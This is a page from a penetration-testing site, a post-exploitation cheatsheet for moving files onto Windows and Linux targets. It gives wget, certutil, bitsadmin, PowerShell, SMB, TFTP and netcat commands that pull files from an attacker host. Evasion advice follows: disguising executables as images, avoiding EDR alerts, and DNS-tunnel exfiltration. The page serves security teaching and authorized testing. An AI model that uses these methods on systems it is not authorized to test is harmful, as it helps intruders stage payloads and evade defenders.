🕵️
VeryLazyTech
📜 Medium🛒 My Shop👾 Github📩 Telegram 📺 YouTube✖ Twitter
  • 🕵️Welcome!
    • VeryLazyTech
    • Support VeryLazyTech
      • 👾 GitHub
      • 📜 Medium
      • ☕ My Shop
      • 📺 YouTube
      • ✖ Twitter
      • 📩 Telegram
  • 🛡️ Vulnerabilities and Exploits
    • CVE - POC
      • Unauthenticated RCE Flaw in Rejetto HTTP File Server - CVE-2024-23692
      • POC - CVE-2024–4956 - Nexus Repository Manager 3 Unauthenticated Path Traversal
      • POC - CVE-2024-45241: Path Traversal in CentralSquare's CryWolf
      • Telerik Auth Bypass CVE-2024-4358
      • Check Point Security Gateways Information Disclosure - CVE-2024-24919
      • CVE-2024-23897 - Jenkins File Read Vulnerability
      • CVE-2024–10914- Command Injection Vulnerability in name parameter for D-Link NAS
      • POC - CVE-2024-21534 Jsonpath-plus vulnerable to Remote Code Execution (RCE)
      • CVE-2024-9935 - PDF Generator Addon for Elementor Page Builder <= 1.7.5 - Unauthenticated Arbitrary
      • CVE-2024-50623- Cleo Unrestricted file upload and download
      • POC - WordPress File Upload plugin, in the wfu_file_downloader.php file before version <= 4.24.11
      • POC - Remote and unauthenticated attacker can send crafted HTTP requests to RCE - cve-2025-3248
      • POC - CVE-2025–2539 File Away <= 3.9.9.0.1 - Missing Authorization to Unauthenticated Arbitrary File
      • POC - CVE-2025-29306 FOXCMS /images/index.html Code Execution Vulnerability
  • 🕵️‍♂️Dorks
    • GitHub Dorks
    • Google Dork Online Tool
  • 📚 Resources
    • Top Hacking Books for 2024: FREE and Paid
    • How to Study for OSCP with the PWK Book PDF
    • Top 20 phishing tools to use in 2024
    • Top 8 Bug Bounty Books for 2025: Must-Reads for Ethical Hackers
    • Top Hacking Tools and Skills You Need to Learn in 2025
    • Offensive Cloud
    • Penetration Testing & Hacking Tools List
    • Top Cybersecurity Books by Topic
  • The Ultimate Penetration Testing Methodology (2025 Edition)
  • 🕸️Pentesting Web
    • Client Side Template Injection (CSTI)
    • Identify a Server’s Origin IP
    • 2FA/MFA/OTP Bypass
  • IDOR
  • Open Redirect
  • Subdomain Takeover
  • Penetration Testing WiFi Networks
  • Client-Side Path Traversal
  • Clickjacking
  • Command Injection
  • JWT Vulnerabilities
  • Bypass rating limit
  • CORS - Misconfigurations & Bypass
  • LDAP Injection
  • File upload vulnerabilities
  • Content Security Policy (CSP) bypass
  • 🐧Linux
    • Practical Linux Commands
    • Bypassing Bash Restrictions - Rbash
    • Privilege escalation - Linux
  • Linux Environment Variables
  • 🪟Windows
    • Active Directory Methodology
  • 🌐Network Pentesting
    • FTP - Port 21
    • SSH- Port 22
    • Telnet - Port 23
    • SMTP/s - Port 25,465,587
    • WHOIS - Port 43
    • TACACS+ - Port 49
    • DNS - Port 53
    • TFTP/Bittorrent-tracker - Port 69/UDP
    • Finger - Port 79
    • Web - Port 80,443
    • Kerberos - Port 88
    • POP - Port 110/995
    • Portmapper - Port 111/TCP/UDP
    • Ident - Port 113
    • NTP - Port 123/UDP
    • MSRPC - Port 135, 539
    • NetBios - Port 137,138,139
    • SMB - Port 139 445
    • IMAP - Port 143, 993
    • SNMP - Ports 161, 162, 10161, and 10162/UDP
    • IRC - Ports 194,6667,6660-7000
    • Check Point Firewall - Port 264
    • LDAP - Ports 389, 636, 3268, 3269
    • IPsec/IKE VPN - Port 500/UDP
    • Modbus - Port 502
    • Rexec - Port 512
    • Rlogin - Port 513
    • Rsh - Port 514
    • Line Printer Daemon (LPD) - Port 515
    • Apple Filing Protocol (AFP) - PORT 548
    • RTSP - Port 554, 8554
    • IPMI - Port 623/UDP/TCP
    • Internet Printing Protocol (IPP) - Port 631
    • EPP - Port 700
    • Rsync - Port 873
    • Rusersd Service - Port 1026
    • Socks - Port 1080
    • Java RMI - RMI-IIOP - Port 1098/1099/1050
    • MSSQL (Microsoft SQL Server) - Port 1433
    • Oracle TNS Listener - Port 1521,1522-1529
  • PPTP - Port 1723
  • MQTT (Message Queuing Telemetry Transport) - Port 1883
  • Compaq HP Insight Manager - Port 2301, 2381
  • NFS Service - Port 2049
  • Docker - Port 2375,2376
  • Squid - Port 3128
  • iScsi - Port 3260
  • SAPRouter - Port 3299
  • 😎Post-exploitation
    • File Transfer Cheatsheet: Windows and Linux
  • 🧑‍🔧Technical guides
    • Kali Linux - Installation
Powered by GitBook
On this page
  • 1. Lab Setup
  • 2. File Transfer using Wget
  • 3. File Transfer using Curl
  • 4. File Transfer using Certutil (Windows Only)
  • 5. File Transfer using Bitsadmin (Windows Only)
  • 6. File Transfer using PowerShell
  • 7. File Transfer using SMB Server (Linux to Windows)
  • 8. File Transfer using SCP (Linux and Windows)
  • 9. File Transfer using TFTP (Trivial File Transfer Protocol)
  • 10. File Transfer using FTP (File Transfer Protocol)
  • 11. File Transfer using HTTP Server
  • 12. File Transfer using Netcat (nc)
  • 13. File Transfer using Python SimpleHTTPServer (Python 2)
  • 14. Advanced Techniques for Secure and Stealthy File Transfer
  • 15. Troubleshooting File Transfers

Was this helpful?

  1. Post-exploitation

File Transfer Cheatsheet: Windows and Linux

File transfer is a critical component in post-exploitation, penetration testing, and red teaming.

PreviousSAPRouter - Port 3299NextKali Linux - Installation

Last updated 7 months ago

Was this helpful?


Support VeryLazyTech 🎉
  • Become VeryLazyTech ! 🎁

  • Follow us on Twitter , Github , and Medium .

  • Visit our for e-books and courses. 📚

  • Support us and . ☕

File transfer is a critical component in post-exploitation, penetration testing, and red teaming. Different environments require specific approaches, so it’s essential to have a versatile set of techniques at your disposal. This guide covers practical, step-by-step methods for transferring files on Windows and Linux, providing multiple options to ensure you’re prepared for any situation.


1. Lab Setup

Setting up an isolated testing environment is key to safely practicing file transfers. Use VirtualBox, VMware, or cloud-based VMs to create separate Windows and Linux instances, and ensure they can communicate.

Example Lab Configuration:

Linux Server: IP 192.168.1.100

Windows Server: IP 192.168.1.101

2. File Transfer using Wget

Wget is a command-line utility available by default on Linux and can be installed on Windows. It’s especially useful for downloading files over HTTP, HTTPS, or FTP.

Linux to Linux or Linux to Windows:

Start a Python HTTP server on the Linux machine (explained in Section 13).

python3 -m http.server 8080

On the destination machine, download the file using wget:

wget http://192.168.1.100:8080/file.txt

Windows with Wget Installed:

Install Wget on Windows if it’s not already available.

Run the following command:

wget http://192.168.1.100:8080/file.txt -OutFile C:\Users\Public\file.txt

3. File Transfer using Curl

Curl supports various protocols, including HTTP, HTTPS, and FTP, and is pre-installed on Linux. On Windows, PowerShell includes a built-in alias for Curl.

Linux to Linux or Linux to Windows:

Start a Python HTTP server on the source machine.

On the target, use Curl to download:

curl -O http://192.168.1.100:8080/file.txt

Windows PowerShell:

Use the following command to download to a specified path:

curl -o C:\Users\Public\file.txt http://192.168.1.100:8080/file.txt

4. File Transfer using Certutil (Windows Only)

Certutil is a built-in Windows tool commonly used for managing certificates, but it also supports file downloads, making it ideal in restrictive environments.

Start a Python HTTP server on the Linux machine.

On the Windows target, use Certutil to download the file:

certutil -urlcache -f http://192.168.1.100:8080/file.txt C:\Users\Public\file.txt

Verify the file download by checking the destination directory.

5. File Transfer using Bitsadmin (Windows Only)

BITSAdmin, another Windows utility, uses the Background Intelligent Transfer Service (BITS) to manage file downloads in the background.

On the Windows machine, open a PowerShell terminal.

Run the following command:

bitsadmin /transfer mydownload /download /priority normal http://192.168.1.100:8080/file.txt C:\Users\Public\file.txt

Check the Transfer Status:

bitsadmin /info mydownload /verbose

6. File Transfer using PowerShell

PowerShell’s Invoke-WebRequest is another option for downloading files on Windows, useful for HTTP-based transfers.

Start a Python HTTP server on the source machine.

On the target Windows machine, use:

Invoke-WebRequest -Uri http://192.168.1.100:8080/file.txt -OutFile C:\Users\Public\file.txt

7. File Transfer using SMB Server (Linux to Windows)

SMB (Server Message Block) is a network file-sharing protocol, and Linux machines can act as SMB servers using Samba.

On Linux (Setting up the SMB Server):

Install Samba:

sudo apt-get install samba

Configure the smb.conf file to share a directory:

[share]
path = /path/to/share
browsable = yes
writable = yes
guest ok = yes

Restart Samba:

sudo systemctl restart smbd

On Windows (Accessing the SMB Share):

Open PowerShell and map the SMB share:

net use Z: \\192.168.1.100\share /user:guest

Navigate to Z: and copy the file to your destination folder:

copy Z:\file.txt C:\Users\Public\file.txt

8. File Transfer using SCP (Linux and Windows)

SCP (Secure Copy Protocol) is commonly used for secure file transfers over SSH.

Linux to Linux:

Run SCP with a remote destination path:

scp file.txt user@192.168.1.101:/path/to/destination/

Linux to Windows (using OpenSSH on Windows):

Open PowerShell and run:

scp file.txt user@192.168.1.101:"C:\Users\Public\file.txt"

9. File Transfer using TFTP (Trivial File Transfer Protocol)

TFTP is a simple transfer protocol with limited functionality and no encryption, ideal for quick transfers in controlled networks.

On Linux (TFTP Server):

Install and start a TFTP server:

sudo apt install tftp
sudo systemctl start tftpd

Place the file in the TFTP directory (e.g., /srv/tftp).

On Windows (TFTP Client):

Use the TFTP client to get the file:

tftp -i 192.168.1.100 GET file.txt C:\Users\Public\file.txt

10. File Transfer using FTP (File Transfer Protocol)

FTP is a more robust option but lacks encryption by default.

On Linux (FTP Server):

Install and start an FTP server (e.g., vsftpd).

sudo apt install vsftpd
sudo systemctl start vsftpd

Place the file in the FTP directory (e.g., /srv/ftp).

On Windows (FTP Client):

Open a PowerShell terminal and connect:

ftp 192.168.1.100

Download the file using get file.txt.

11. File Transfer using HTTP Server

The Python HTTP server is quick and efficient for short-term file sharing over HTTP.

On Linux (Start HTTP Server):

Start the server in the file directory:

python3 -m http.server 8080

On Windows (Download via Browser or PowerShell):

Invoke-WebRequest -Uri http://192.168.1.100:8080/file.txt -OutFile C:\Users\Public\file.txt

12. File Transfer using Netcat (nc)

Netcat is a versatile utility that can transfer files directly over a TCP/UDP connection.

On Linux (Act as Server):

Run the following to listen on port 4444:

nc -lvnp 4444 < file.txt

On Windows (Receive the File):

Use the following to connect and save the file:

nc 192.168.1.100 4444 > C:\Users\Public\file.txt

13. File Transfer using Python SimpleHTTPServer (Python 2)

For legacy support, Python 2 has a built-in SimpleHTTPServer module.

Start the server on the source machine (Linux or Windows) by running:

python -m SimpleHTTPServer 8080

This approach works similarly to Python 3’s http.server, but keep in mind that Python 2 is deprecated and might not be available on all systems.

14. Advanced Techniques for Secure and Stealthy File Transfer

Some situations call for more secure or stealthy file transfer methods to avoid detection. Here are a few advanced approaches:

Obfuscate File Names and Extensions: Rename sensitive files to non-suspicious names, or change extensions (e.g., file.exe to file.jpg) to avoid automated security detection.

Use Encryption: Encrypt files using tools like gpg on Linux before transfer to add an extra layer of security:

gpg -c file.txt # Encrypts with a passphrase

On the destination, decrypt with:

gpg file.txt.gpg

Encoded Transfers in PowerShell: If restricted, use base64 encoding to transfer text-based data:

$content = Get-Content C:\path\to\file.txt
$encoded = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($content))
Write-Output $encoded > encoded.txt

On the target, decode it:

[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String((Get-Content encoded.txt))) | Out-File C:\path\to\decoded.txt

Data Exfiltration via DNS Tunneling: For highly covert transfers, encode data in DNS requests using tools like dnscat2 or iodine, though this is often limited by network restrictions.

15. Troubleshooting File Transfers

Issues can arise during file transfers, especially on restricted or locked-down environments. Here are some tips to address common problems:

Network Connectivity: Ensure that both machines are on the same network and that there are no firewall rules or network restrictions blocking the transfer ports.

Antivirus or EDR Detection: Rename files, change extensions, or zip/encrypt files to avoid triggering security alerts. Using PowerShell and Bitsadmin is generally less likely to be flagged than using certutil or nc.

Permissions: Ensure you have the necessary permissions on both source and destination directories. On Linux, use chmod to set permissions, and on Windows, check folder security settings.

Correct Paths and Commands: Double-check file paths, IP addresses, and syntax, especially on different platforms (Linux vs. Windows syntax).

File transfer methods vary widely, and knowing multiple techniques is essential for adapting to different operating environments and security restrictions. From simple HTTP servers to advanced tools like SMB and SCP, this guide equips you with practical, step-by-step instructions for nearly any file transfer scenario you may encounter. Remember to test and practice these methods in a controlled lab environment to familiarize yourself with each tool’s behavior and limitations.

Open a browser and navigate to to download, or:

On the target machine, use your preferred method (e.g., wget, curl, browser) to download the file from .

😎
member
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
shop
buy me a coffee
http://192.168.1.100:8080/file.txt
http://192.168.1.100:8080/file.txt